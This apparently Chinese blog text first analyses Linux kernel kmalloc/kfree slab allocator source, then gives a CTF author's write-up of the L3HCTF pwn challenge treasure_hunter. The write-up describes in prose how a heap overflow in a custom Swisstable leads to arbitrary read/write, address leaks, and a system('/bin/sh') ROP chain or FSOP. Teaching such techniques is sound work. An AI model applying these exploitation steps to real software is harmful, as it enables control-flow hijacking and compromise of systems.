kmalloc有两个参数,第一个为要分配的大小,第二个为分配选项。根据Linux kernel源代码注释,分配选项主要用于确定分配方式,最为常用的是GFP_KERNEL,可能会出现一定的sleep;另外还有GFP_NOWAIT(必须立即分配)与GFP_ATOMIC(必须立即分配且可能使用紧急内存池-emergency pools),除了3个主选项外还有几个副选项,可用于内核在分配后立即清空这块空间内的内容(__GFP_ZERO,实际上kzalloc也是调用的kmalloc,加上了这个选项),忽略分配失败警告等。

这个函数内首先有一个判断,__builtin_constant_p是一个gcc的内置函数,用于判断一个值是否是常量,使用这个函数主要是用于优化函数性能。在函数内部判断size,如果大于KMALLOC_MAX_CACHE_SIZE(x64中为8192)则转向分配大块空间的函数。随后调用kmalloc_index函数根据size判断需要在哪个kmem_cache里面完成分配工作。不同的kmem_cache中保存的内存块size可能不同,但一个kmem_cache中可分配的内存块size相同。由于这些kmem_cache在内核启动时完成初始化,因此索引是固定的。这里kmalloc_caches是一个二维的kmem_cache*数组,第一维表示的是内存块的类型,有通用类型、专用于DMA类型等多种类型。第二维表示索引。

kmalloc_trace

1
2
3
4
5
6
7
8
9
10
11
void *kmalloc_trace(struct kmem_cache *s, gfp_t gfpflags, size_t size)
{
void *ret = __kmem_cache_alloc_node(s, gfpflags, NUMA_NO_NODE,
size, _RET_IP_);

trace_kmalloc(_RET_IP_, ret, size, s->size, gfpflags, NUMA_NO_NODE);

ret = kasan_kmalloc(s, ret, size, gfpflags);
return ret;
}
EXPORT_SYMBOL(kmalloc_trace);

这里最后有一个kasan_kmalloc,它的主要功能是缓解针对内核内存管理器的攻击,没有对要分配的内存块本身进行任何操作,这里跳过。分配内存的主要逻辑在__kmem_cache_alloc_node -> slab_alloc_node中。

slab_alloc_node

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
static __always_inline void *
slab_alloc_node(struct kmem_cache *cachep, struct list_lru *lru, gfp_t flags,
int nodeid, size_t orig_size, unsigned long caller)
{
unsigned long save_flags;
void *objp;
struct obj_cgroup *objcg = NULL;
bool init = false;

flags &= gfp_allowed_mask;
cachep = slab_pre_alloc_hook(cachep, lru, &objcg, 1, flags);
if (unlikely(!cachep))
return NULL;

objp = kfence_alloc(cachep, orig_size, flags);
if (unlikely(objp))
goto out;

local_irq_save(save_flags);
objp = __do_cache_alloc(cachep, flags, nodeid);
local_irq_restore(save_flags);
objp = cache_alloc_debugcheck_after(cachep, flags, objp, caller);
prefetchw(objp);
init = slab_want_init_on_alloc(flags, cachep);

out:
slab_post_alloc_hook(cachep, objcg, flags, 1, &objp, init,
cachep->object_size);
return objp;
}

这个函数内部首先调用了一个slab_pre_alloc_hook,这是一个预处理钩子函数,查看源码发现主要完成一些检查工作,并不重要,后面的slab_post_alloc_hook是后处理钩子函数。这里核心的处理函数是__do_cache_alloc,它是所有内核内存分配函数都需要调用的。

__do_cache_alloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
static __always_inline void *
__do_cache_alloc(struct kmem_cache *cachep, gfp_t flags, int nodeid)
{
void *objp = NULL;
int slab_node = numa_mem_id();

if (nodeid == NUMA_NO_NODE) {
if (current->mempolicy || cpuset_do_slab_mem_spread()) {
objp = alternate_node_alloc(cachep, flags);
if (objp)
goto out;
}
/*
* Use the locally cached objects if possible.
* However ____cache_alloc does not allow fallback
* to other nodes. It may fail while we still have
* objects on other nodes available.
*/
objp = ____cache_alloc(cachep, flags);
nodeid = slab_node;
} else if (nodeid == slab_node) {
objp = ____cache_alloc(cachep, flags);
} else if (!get_node(cachep, nodeid)) {
/* Node not bootstrapped yet */
objp = fallback_alloc(cachep, flags);
goto out;
}

/*
* We may just have run out of memory on the local node.
* ____cache_alloc_node() knows how to locate memory on other nodes
*/
if (!objp)
objp = ____cache_alloc_node(cachep, flags, nodeid);
out:
return objp;
}

在默认情况下,CONFIG_NUMA开启,调用的是上面的函数,若没有开启则用于表示NUMA节点的参数node无效,转而直接调用____cache_alloc函数。NUMA节点这个参数是Linux 6.1才添加到__do_cache_alloc函数中的。

NUMA 全称 Non-Uniform Memory Access,译为“非一致性内存访问”。这种构架下,不同的内存器件和CPU核心从属不同的 Node,每个 Node 都有自己的集成内存控制器(IMC,Integrated Memory Controller)。

通过kmalloc调用传入的node参数实际上总为-1,即让系统自行决定节点,也就是走if (nodeid == NUMA_NO_NODE)内部。不过无论如何最终都需要调用____cache_alloc

____cache_alloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
static inline void *____cache_alloc(struct kmem_cache *cachep, gfp_t flags)
{
void *objp;
struct array_cache *ac;

check_irq_off();

ac = cpu_cache_get(cachep);
if (likely(ac->avail)) {
ac->touched = 1;
objp = ac->entry[--ac->avail];

STATS_INC_ALLOCHIT(cachep);
goto out;
}

STATS_INC_ALLOCMISS(cachep);
objp = cache_alloc_refill(cachep, flags);
/*
* the 'ac' may be updated by cache_alloc_refill(),
* and kmemleak_erase() requires its correct value.
*/
ac = cpu_cache_get(cachep);

out:
/*
* To avoid a false negative, if an object that is in one of the
* per-CPU caches is leaked, we need to make sure kmemleak doesn't
* treat the array pointers as a reference to the object.
*/
if (objp)
kmemleak_erase(&ac->entry[ac->avail]);
return objp;
}

关于这个函数的解释,可以参考资料,这里添加一些方便理解的补充。

cpu_cache_get返回的是kmem_cache中定义的CPU专用的空闲对象链表。不过这个结构说是链表,实际上它还是通过数组的形式实现的,从上面的代码可以看出,objp = ac->entry[--ac->avail];这条语句表明这里的空闲的obj是直接通过下标索引的,相比传统链表大大提高效率。当这里没有可用的对象时,会调用cache_alloc_refill继续查找可用对象。

cache_alloc_refill

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
static void *cache_alloc_refill(struct kmem_cache *cachep, gfp_t flags)
{
int batchcount;
struct kmem_cache_node *n;
struct array_cache *ac, *shared;
int node;
void *list = NULL;
struct slab *slab;

check_irq_off();
node = numa_mem_id();

ac = cpu_cache_get(cachep);
batchcount = ac->batchcount;
if (!ac->touched && batchcount > BATCHREFILL_LIMIT) {
/*
* If there was little recent activity on this cache, then
* perform only a partial refill. Otherwise we could generate
* refill bouncing.
*/
batchcount = BATCHREFILL_LIMIT;
}
n = get_node(cachep, node);

BUG_ON(ac->avail > 0 || !n);
shared = READ_ONCE(n->shared);
if (!n->free_objects && (!shared || !shared->avail))
goto direct_grow;

raw_spin_lock(&n->list_lock);
shared = READ_ONCE(n->shared);

/* See if we can refill from the shared array */
if (shared && transfer_objects(ac, shared, batchcount)) {
shared->touched = 1;
goto alloc_done;
}

while (batchcount > 0) {
/* Get slab alloc is to come from. */
slab = get_first_slab(n, false);
if (!slab)
goto must_grow;

check_spinlock_acquired(cachep);

batchcount = alloc_block(cachep, ac, slab, batchcount);
fixup_slab_list(cachep, n, slab, &list);
}

must_grow:
n->free_objects -= ac->avail;
alloc_done:
raw_spin_unlock(&n->list_lock);
fixup_objfreelist_debug(cachep, &list);

direct_grow:
if (unlikely(!ac->avail)) {
/* Check if we can use obj in pfmemalloc slab */
if (sk_memalloc_socks()) {
void *obj = cache_alloc_pfmemalloc(cachep, n, flags);

if (obj)
return obj;
}

slab = cache_grow_begin(cachep, gfp_exact_node(flags), node);

/*
* cache_grow_begin() can reenable interrupts,
* then ac could change.
*/
ac = cpu_cache_get(cachep);
if (!ac->avail && slab)
alloc_block(cachep, ac, slab, batchcount);
cache_grow_end(cachep, slab);

if (!ac->avail)
return NULL;
}
ac->touched = 1;

return ac->entry[--ac->avail];
}

注意这里的if (!n->free_objects && (!shared || !shared->avail))这条语句,这里的目的是检查所有CPU共享的空闲链表中是否有可分配的对象,以及检查该节点中是否有空闲对象(free_objects指的是一个kmem_cache_node中的空闲对象数量),如果都没有则需要调用伙伴系统分配空间。

随后调用transfer_objects尝试从共享空间中将batchcount个空闲对象批量移动到CPU专属空闲链表中。后面直接从这里进行分配。而如果共享空间中没有可用对象,则会调用get_first_slab获取空闲slab,调用alloc_block将空闲slab上的空闲对象转移到CPU专属空闲链表中进行后续分配。

从上面的分析可以看到,无论是CPU专属空闲对象链表,还是NUMA节点全CPU共享空闲对象链表,它们只是起到了一个临时保存空闲对象的作用,并不会影响内核决定使用哪一个slab。


以上就是对kmalloc的主要流程分析,下面是kfree的分析。


kfree

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void kfree(const void *object)
{
struct folio *folio;
struct slab *slab;
struct kmem_cache *s;

trace_kfree(_RET_IP_, object);

if (unlikely(ZERO_OR_NULL_PTR(object)))
return;

folio = virt_to_folio(object);
if (unlikely(!folio_test_slab(folio))) {
free_large_kmalloc(folio, (void *)object);
return;
}

slab = folio_slab(folio);
s = slab->slab_cache;
__kmem_cache_free(s, (void *)object, _RET_IP_);
}
EXPORT_SYMBOL(kfree);
1
2
3
4
5
void __kmem_cache_free(struct kmem_cache *cachep, void *objp,
unsigned long caller)
{
__do_kmem_cache_free(cachep, objp, caller);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
static __always_inline
void __do_kmem_cache_free(struct kmem_cache *cachep, void *objp,
unsigned long caller)
{
unsigned long flags;

local_irq_save(flags);
debug_check_no_locks_freed(objp, cachep->object_size);
if (!(cachep->flags & SLAB_DEBUG_OBJECTS))
debug_check_no_obj_freed(objp, cachep->object_size);
__cache_free(cachep, objp, caller);
local_irq_restore(flags);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
static __always_inline void __cache_free(struct kmem_cache *cachep, void *objp,
unsigned long caller)
{
bool init;

memcg_slab_free_hook(cachep, virt_to_slab(objp), &objp, 1);

if (is_kfence_address(objp)) {
kmemleak_free_recursive(objp, cachep->flags);
__kfence_free(objp);
return;
}

/*
* As memory initialization might be integrated into KASAN,
* kasan_slab_free and initialization memset must be
* kept together to avoid discrepancies in behavior.
*/
init = slab_want_init_on_free(cachep);
if (init && !kasan_has_integrated_init())
memset(objp, 0, cachep->object_size);
/* KASAN might put objp into memory quarantine, delaying its reuse. */
if (kasan_slab_free(cachep, objp, init))
return;

/* Use KCSAN to help debug racy use-after-free. */
if (!(cachep->flags & SLAB_TYPESAFE_BY_RCU))
__kcsan_check_access(objp, cachep->object_size,
KCSAN_ACCESS_WRITE | KCSAN_ACCESS_ASSERT);

___cache_free(cachep, objp, caller);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void ___cache_free(struct kmem_cache *cachep, void *objp,
unsigned long caller)
{
struct array_cache *ac = cpu_cache_get(cachep);

check_irq_off();
kmemleak_free_recursive(objp, cachep->flags);
objp = cache_free_debugcheck(cachep, objp, caller);

/*
* Skip calling cache_free_alien() when the platform is not numa.
* This will avoid cache misses that happen while accessing slabp (which
* is per page memory reference) to get nodeid. Instead use a global
* variable to skip the call, which is mostly likely to be present in
* the cache.
*/
if (nr_online_nodes > 1 && cache_free_alien(cachep, objp))
return;

if (ac->avail < ac->limit) {
STATS_INC_FREEHIT(cachep);
} else {
STATS_INC_FREEMISS(cachep);
cache_flusharray(cachep, ac);
}

if (sk_memalloc_socks()) {
struct slab *slab = virt_to_slab(objp);

if (unlikely(slab_test_pfmemalloc(slab))) {
cache_free_pfmemalloc(cachep, slab, objp);
return;
}
}

__free_one(ac, objp);
}

kfree中首先要找到要被释放的对象所属的kmem_cache。在__cache_free中有一些有关kasan的钩子函数等,用于对释放的对象进行隔离等操作,这里忽略。

直接跟踪来到___cache_free。这里有关键的判断:ac->avail < ac->limit,如果条件为真,则表示CPU专属空闲对象链表还有可以存放对象的空间,就可以直接调用__free_one。如果为假,则需要首先调用cache_flusharray对数组进行清理。

__free_one

1
2
3
4
5
6
7
8
9
/* &alien->lock must be held by alien callers. */
static __always_inline void __free_one(struct array_cache *ac, void *objp)
{
/* Avoid trivial double-free. */
if (IS_ENABLED(CONFIG_SLAB_FREELIST_HARDENED) &&
WARN_ON_ONCE(ac->avail > 0 && ac->entry[ac->avail - 1] == objp))
return;
ac->entry[ac->avail++] = objp;
}

这里的逻辑就很简单了,更新avail,添加对象即可。在此之前有对于double free的检查。但这里的double free检查不严格,仅仅检查了上一个free到这个数组的对象是否也是这个对象。如果这个对象第一次free后又有其他对象被free到了这里,那么这里的double free检查会报假阳性。

在我写这篇博客的时候,L3HCTF还有不足10个小时结束。这也是我第一次为一场正规的,全国及以上范围的CTF比赛命题。

当队长将pwn方向的命题管理权交给我时,我实际上是心虚的。要说pwn,我也学了两年多了,我真的是一名有水平、有实力的pwn选手吗,还是一个只能靠那些队内研究生元老大杀四方来蹭到决赛机会的CTF寄生虫呢。从目前来看,我似乎更像后者一些。每逢比赛,只有看到一些熟悉的,自己仔细分析过的赛题类型才敢去做,才敢尝试,且不一定能够尝试成功;而对于那些较为陌生的东西,则是避之不及,连查资料的时间也不愿意去花。

而当我命题结束时,我想清楚了一件事。一成不变,不愿接触新事物的选手,无论如何都无法取得真正的成就。你永远都不可能记得所有Linux常用命令的所有用法,解题本身不是一个对已有知识的复制粘贴,而更多的是将已知与未知相结合,并通过赛题本身学到更多的东西。

扯远了,说回命题。

本次L3HCTF的4道pwn题中,我命题的只有1道——treasure_hunter。它的灵感来源于我前段时间的Rust逆向学习上。我本来的打算,是通过对Rust二进制程序进行分析,同时提升自己对Rust语言以及Rust程序逆向的理解。这是一门优雅的语言,值得我细细品味。

在我接触到Rust的Hashmap时,我真正地尝到了一丝逆向的苦头。一开始,我并不知道Rust基于Swisstable实现Hashmap,只是想着通过纯逆向搞清楚其中的逻辑。但经过了长时间的尝试后,我发现这很难。于是我抱着碰一碰运气的心态,随便找了一些Rust源码中Hashmap底层的函数名放到网上查,居然一查就出现了想要的结果,我的理解进程大幅加快。

但在查资料的过程中,我也发现,网络中对于这个新型高效的Hashmap数据结构并没有太多的分析,有较为完整的介绍博客,但数量很少。因此,我萌生了以Swisstable为主题命题的想法,让更多选手了解这个数据结构以及相关的算法。

最初,我计划出的是Rust pwn,以Rust语言现成的Swisstable模板出题,这样更加方便。但出题过程中我发现,Rust语言是一个天生不适合出pwn题的语言,一些C/CPP中习以为常的内存操作却必须使用Unsafe包裹,很是不优雅,因此仅尝试了一小段时间后我就放弃了Rust pwn这个想法,转而想使用CPP手搓一个简易的Swisstable。这样埋设漏洞更加方便。当然,这样也就意味着我的工作量大大提高。好在,在牺牲了一些低耦合与灵活性的情况下,我还是成功完成了数据结构的构建。

在题目框架完成之后,下一步就需要考虑赛题应该使用什么漏洞利用方式了。由于数据结构本身比较复杂,如果需要使用一些利用条件较为苛刻的利用方式,无疑对解题者来说是一个身体和心理上的双重折磨,此类问题也是我最为深恶痛绝的,因此我决定将漏洞点设置地简单一些,但又让选手绕不开Swisstable这个数据结构本身,这样的话,解题体验应该会好很多吧。(另外做过题的选手应该都知道,我在最终给出的ELF文件中没有去除符号表,这实际上一方面暗示了本题的考点,另一方面省去了一些令人抓狂的逆向环节。事实证明,即使如此解出的队伍数量也不超过20,符合最终的难度预期)(笑)

在经历了两届招新赛和本次L3HCTF后,我发现我实际上是有自己的出题风格的。我喜欢将题目本身置于一个真实的场景之中,让选手解题时能够身临其境(笑)。本题也是如此,创建了一个挖宝的场景,并通过该场景中可能出现的经典元素作为本题的关键内容。本题的漏洞点实际上很简单,第一个是一个10字节的溢出,我还特意在堆的最低地址处塞了一个0x400的chunk,这样选手可以通过这个溢出修改Swisstable内部的指针,对内部的数据结构进行伪造,从而达到攻击效果。另外如果选手攒够了足够的金币,可以以一个较低的价格“买到”修改control bytes的机会以及Hashmap的地址。这也是第二个漏洞点,选手可以通过这个漏洞点,与第一个漏洞点配合完成若干次任意地址的读写。最终我的exp中就是通过任意地址读写直接修改栈上的返回地址,构造一个短的ROP链完成控制流劫持。

所以总的来说,本题如果除去Swisstable不看,实际上一个很简单的赛题,没有用到对glibc堆的任何house。因此本题非常考验选手对Swisstable数据结构的理解,否则将无法通过其完成读写操作。这也是我认为我出题出的不好的一点,没有完全贯彻“将已知和未知相结合”的理念。

行了不废话了,下面贴出本题的源码。

hashmap.h

hashmap.cpp

main.cpp

下面是本题的出题人版本exp以及Dockerfile等一些配置文件。

exp.py

Dockerfile

service.sh

start_docker.sh

pwn.xinetd

我的思路是,首先把所有能挖的金币全挖出来,然后买到hashmap地址。由于本题的堆环境比较固定,可以通过这个hashmap地址获取到其他chunk的地址,通过固定偏移实现。随后我们通过将最开始的0x400的chunk分配出来(后面就是hashmap的chunk),通过10字节溢出将存放数据的指针进行修改,修改到我们伪造的地址中去,在exp中,伪造的数组在0x400中进行构造。由于hashmap没有检查边界,所以伪造后可以实现最多0x1C字节任意地址读。本题的挖矿区域是由mmap分配的,调试时可以看到这块空间位于ld.so的正下方,因此考虑可以在ld.so中寻找合适的偏移来泄露栈地址、libc地址等关键地址。这一步在正式比赛过程中成为了出题人的噩梦,因为我发现远程环境的偏移不一样,虽然说也可以通过爆破的方式通过多次连接完成多个字节的读写,但是这样会大大破坏做题的体验,因此比赛时不得不在队内服务器又部署了一份正常的然后端口映射到平台的端口,这也是为什么treasure_hunter在第一天不太稳定。(在此磕头谢罪砰砰砰)

在获取到关键地址之后,我们再一次分配那个最开始的0x400地址,准备开始写ROP chain。不过由于一开始我们并不知道返回值那个地方保存了什么值,所以需要首先读取然后通过加减金币完成写操作。出题人脚本里面是写入了一个pop rdi, ret ; addrof /bin/sh ; system这样一个简单的ROP chain,由于本题hashmap的大小为0x20,在不扩展的情况下最多可以读写0x1C个字节(0x1C这个数字怎么来的呢,这个就是Rust Swisstable的一个实现,Swisstable在填满7/8空间时就会进行扩展),足够完成这样一个ROP chain的编写。(审wp补档:看到了好几队都是通过写_IO_list_all来打fsop的,这种攻击方式我认为是更加出色的)

以上就是本题的做题流程。说实话我感觉这题出的还是不太好,有种强迫选手学Swisstable的感觉。但好在这也是迈出了第一步。后面的话还是要多接触一些好题,多学一些东西,向L3H大手子之路继续迈进。也非常感谢各位选手的包容以及评价。